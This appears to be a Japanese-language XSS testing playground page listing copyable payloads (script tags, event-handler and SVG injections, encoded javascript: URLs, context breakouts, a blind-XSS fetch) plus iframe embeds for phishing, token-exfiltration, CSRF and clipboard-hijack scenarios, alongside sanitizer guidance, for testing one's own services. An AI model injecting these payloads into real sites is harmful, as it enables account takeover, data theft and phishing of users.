XSS Playground

コピーして試せる XSS シナリオ集

Sangmook Kim

AboutSangmook Kim

Frontend Engineer

フロントエンド開発者の Sangmook Kim です。このサイトは特定サービス専用の PoC ではなく、自分が権限を持つ Web サービスの XSS 対策を確認するための公開プレイグラウンドです。

各シナリオは、script タグ、イベントハンドラ属性、javascript: URL、DOM sink、埋め込み iframe、親ページとのメッセージ通信など、実サービスで見落としやすい攻撃面を小さなテストページとして再現します。

シナリオカードまたは詳細ページから HTML payload または iframe コードをコピーし、自分のプロジェクトに貼り付けてレンダリング結果とブラウザの挙動を確認してください。

GitHub

注意. 自身が権限を持つサービスに対してのみテストしてください。第三者サービスに対する試行は不正アクセス禁止法等に抵触する可能性があります。

プロジェクトの意図

XSS 対策は HTML フィルタの名前や 1 行のフィルタだけでは完了しません。iframe、メッセージ、権限プロンプト、自動リクエスト、偽 UI が実際のブラウザでどこまで動くかを確認する必要があります。

このサイトは攻撃自動化ツールではなく、開発者やセキュリティ担当者が権限のあるサービスのレンダリングポリシーを再現可能な形で確認するためのチェックリストです。

すべてのスニペットは dev / staging 環境にコピーして使う前提です。HTML payload が実行されたり iframe シナリオが動作すれば調査すべきサインであり、ブロックされればどのポリシーが止めたか記録できます。

使い方

  1. 目的のシナリオページを開く。
  2. ホームカードまたは詳細ページから HTML payload または iframe コードをコピー。
  3. 自サービス(エディタ、ノート、wiki など)に貼り付けて保存。
  4. レンダリング、sandbox、CSP、postMessage 検証、実際のブラウザ挙動を確認。

Sanitize 実務ガイド

ユーザー機能として HTML を許可する必要がある場合、単純な文字列置換や blacklist ではなく、コンテキスト別 encoding と検証済み sanitizer policy を組み合わせて設計します。

DOMPurify

DOMPurify は HTML、SVG、MathML から実行可能な危険要素を除去する代表的な sanitizer です。dangerouslySetInnerHTML、Markdown/MDX 出力、rich text rendering のように HTML を意図的に描画する箇所で使います。

Node.js / SSR

サーバー側 sanitize には DOM 実装が必要です。Node.js では最新の jsdom と DOMPurify を組み合わせ、client/server の allowlist がずれないようテストします。

Policy documentation

許可する tag、attribute、URL protocol/host、iframe sandbox、CSP を機能単位で記録します。sanitize 後に別 renderer が HTML を変形すると防御効果が失われる可能性があります。

XSS 脅威マップ

Hacker101 CTF の XSS Playground 分類と PortSwigger Web Security Academy のガイドを参考に、このプロジェクトで確認すべきリスクを整理しています。

Reflected XSS

クエリ、検索語、エラーメッセージなど現在のリクエスト由来の値が、安全でない形で HTML に反映されるケースです。

Stored XSS

コメント、プロフィール、文書本文など保存された入力が、後から他ユーザーに active content として表示されるケースです。

DOM-based XSS

クライアントコードが location、hash、postMessage などの信頼できない値を unsafe sink に渡すケースです。

Filter / CSP bypass

イベントハンドラ、SVG/MathML、javascript: URL、エンコーディング、テンプレート構文で弱いフィルタや不完全な CSP を迂回できないか確認します。

Account abuse

スクリプトが実行されると、ユーザー権限でリクエストを送信し、画面を操作し、ユーザーがアクセスできるデータを悪用できます。

Phishing / exfiltration

iframe、オーバーレイ、通知、クリップボード、postMessage により、秘密情報の入力誘導や観測可能な情報の外部送信が起こります。

シナリオ

カテゴリ別の攻撃シナリオ。カードから HTML payload または embed コードをコピーし、詳細ページでさらにテストできます。

HTML Injection

script タグ挿入

ユーザー入力が HTML 文書としてそのまま解析されるとき、script タグが実行されるか確認します。

<script>alert("xss-playground")</script>
イベントハンドラ属性挿入

img onerror や details ontoggle などのイベント属性が残って実行されるか確認します。

<img src=x onerror="alert('xss-playground')">
SVG / MathML onload payload

SVG, MathML など HTML 以外の namespace にあるイベント属性やネスト HTML が弱いフィルタを迂回しないか確認します。

<svg onload="alert('xss-playground')" xmlns="http://www.w3.org/2000/svg"></svg>

DOM XSS

DOM innerHTML sink

location, hash, postMessage などの信頼できない値が innerHTML のような unsafe sink に届くか確認します。

<img src=x onerror="alert('dom-xss')">

URL / Protocol

javascript: URL プロトコル

href や action などの URL 属性に javascript: が残り、クリックや submit で実行されるか確認します。

<a href="javascript:alert('xss-playground')">click me</a>
エンコードされた javascript: protocol bypass

HTML entity、制御文字、大文字小文字の変形で javascript: URL 検証を迂回できるか確認します。

<a href="jav&#x61;script:alert('xss-playground')">encoded protocol</a>
data: URL wrapper

iframe、object、embed、link preview などの URL 属性で data:text/html が許可され、別 HTML 文書が実行されるか確認します。

<iframe src="data:text/html,<script>parent.postMessage({type:'DATA_URL_XSS'},'*')</script>"></iframe>

Context Breakout

JavaScript 文字列コンテキスト脱出

script ブロック内の文字列、JSON 初期状態、inline event code からユーザー入力が脱出できるか確認します。

";alert("xss-playground");//
CSS / style コンテキスト挿入

style タグ、style 属性、CSS URL トークンにユーザー入力が入るとき、parser 脱出や危険な URL が残るか確認します。

</style><img src=x onerror="alert('css-context-xss')"><style>

File Upload

File upload preview XSS

アップロードされた SVG、XML、HTML ファイルをプレビュー表示するとき active content が実行されるか確認します。

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg-file-xss')"></svg>

User Content

Markdown link XSS

Markdown/MDX/editor renderer が link URL、raw HTML、image URL を安全に正規化・sanitize するか確認します。

[click me](javascript:alert('markdown-xss'))
Profile nickname / icon rendering XSS

nickname、status text、icon URL のような小さな profile field が attribute/HTML context で実行可能コードになるか確認します。

" autofocus onfocus="alert('nickname-xss')" x="

Navigation

top.location 強制リダイレクト

iframe 内から親ウィンドウ全体を別 URL へ遷移させ、sandbox allow-top-navigation の違いを確認します。

<iframe src="https://xss-playground.com/embed/top-redirect?lang=ja" title="XSS Playground - top.location 強制リダイレクト" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Communication

postMessage スプーフィング

parent.postMessage で親ページへ偽メッセージを送り、origin 検証漏れを確認します。

<iframe src="https://xss-playground.com/embed/post-message?lang=ja" title="XSS Playground - postMessage スプーフィング" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
隠し form 自動 submit (CSRF-like)

ユーザーに気づかれず外部 domain へ form を submit し、sandbox allow-forms と CSRF 境界を確認します。

<iframe src="https://xss-playground.com/embed/form-auto-submit?lang=ja" title="XSS Playground - 隠し form 自動 submit (CSRF-like)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
navigator.sendBeacon / fetch による exfiltration

iframe 自身の origin 内で収集した情報や referrer を sendBeacon / fetch で外部送信できるか確認します。

<iframe src="https://xss-playground.com/embed/beacon-exfil?lang=ja" title="XSS Playground - navigator.sendBeacon / fetch による exfiltration" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
img タグ GET リクエスト CSRF

img.src に外部の状態変更 GET endpoint を入れ、cookie 付きで request が送られるか確認します。

<iframe src="https://xss-playground.com/embed/csrf-image?lang=ja" title="XSS Playground - img タグ GET リクエスト CSRF" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Exfiltration

親トークン / ネットワーク窃取の試行

iframe 内から親ページの JWT、storage、進行中のネットワーク要求に届くか境界を確認します。

<iframe src="https://xss-playground.com/embed/token-exfil?lang=ja" title="XSS Playground - 親トークン / ネットワーク窃取の試行" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Phishing

偽ログインフォーム (フィッシング)

iframe 内に親サイト風のログインフォームを描き、入力値を iframe 自身の origin で収集します。

<iframe src="https://xss-playground.com/embed/phishing-form?lang=ja" title="XSS Playground - 偽ログインフォーム (フィッシング)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
フルスクリーンオーバーレイ偽装

iframe を画面全体に配置し、親サイトに似た UI を描いてユーザーを欺くシナリオです。

<iframe src="https://xss-playground.com/embed/fullscreen-overlay?lang=ja" title="XSS Playground - フルスクリーンオーバーレイ偽装" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Delayed / Chained

Blind XSS workflow

入力直後は実行されず、管理者 console、通知、log viewer、CRM など後続画面で実行される payload を追跡します。

<img src=x onerror="fetch('/redirected?from=blind-xss&surface=admin-log',{mode:'no-cors'})">
遅延 / 自動実行 payload

タイマーや URL パラメータで top-redirect、postMessage、form submit などを後から自動実行します。

<iframe src="https://xss-playground.com/embed/delayed-attack?lang=ja" title="XSS Playground - 遅延 / 自動実行 payload" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
連鎖攻撃 (フィッシング + フルスクリーン + redirect)

偽フルスクリーン UI、認証情報の取得、top redirect をつなげて不審さを下げる流れを再現します。

<iframe src="https://xss-playground.com/embed/chained-attack?lang=ja" title="XSS Playground - 連鎖攻撃 (フィッシング + フルスクリーン + redirect)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Annoyance

自動ダウンロードトリガー

download 属性、Blob URL、data URL により、明示的なクリックなしでファイルダウンロードが始まるか確認します。

<iframe src="https://xss-playground.com/embed/auto-download?lang=ja" title="XSS Playground - 自動ダウンロードトリガー" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
popup / window.open スパム

window.open で新しい window を開き、popup blocking、allow-popups、opener/tabnabbing 境界を確認します。

<iframe src="https://xss-playground.com/embed/popup-spam?lang=ja" title="XSS Playground - popup / window.open スパム" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
自動再生メディア / 自動フルスクリーン

音声付きメディアの自動再生や requestFullscreen によるフルスクリーン占有を試します。

<iframe src="https://xss-playground.com/embed/autoplay-media?lang=ja" title="XSS Playground - 自動再生メディア / 自動フルスクリーン" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
通知権限リクエスト / push hijack

Notification.requestPermission を呼び出し、権限 prompt と後続のフィッシング通知リスクを確認します。

<iframe src="https://xss-playground.com/embed/notification-permission?lang=ja" title="XSS Playground - 通知権限リクエスト / push hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
クリップボード hijack

iframe 領域でユーザーがコピーしたとき、copy イベントを横取りして別の内容で上書きします。

<iframe src="https://xss-playground.com/embed/clipboard-hijack?lang=ja" title="XSS Playground - クリップボード hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
history.pushState 汚染

iframe 自身の history entry を積み上げ、親タブの戻る操作を妨害します。

<iframe src="https://xss-playground.com/embed/history-pollution?lang=ja" title="XSS Playground - history.pushState 汚染" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Probe

Same-Origin Policy プローブ (失敗確認用)

親 DOM、storage、cookie へのアクセスを試し、SOP が何を止め何を許すかを確認します。

<iframe src="https://xss-playground.com/embed/sop-probe?lang=ja" title="XSS Playground - Same-Origin Policy プローブ (失敗確認用)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
親ページ message listener フィンガープリント

複数の postMessage payload を親へ送り、応答や副作用から listener の存在を観察します。

<iframe src="https://xss-playground.com/embed/parent-message-listener-probe?lang=ja" title="XSS Playground - 親ページ message listener フィンガープリント" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

コントリビュート (Issues / PR)

本プロジェクトは source-available ライセンスで運用しています。ソースは公開していますが、フォークして別のデプロイを運用したり、再配布・商用利用することは許可していません。

アイデア、バグ報告、翻訳改善、新シナリオ提案は歓迎します。まず Issue を立てて方針を合意し、採用された変更は collaborator として直接ブランチを push する PR フローを推奨します。

ライセンスとコントリビューションポリシーの全文は LICENSE と CONTRIBUTING.md を参照してください。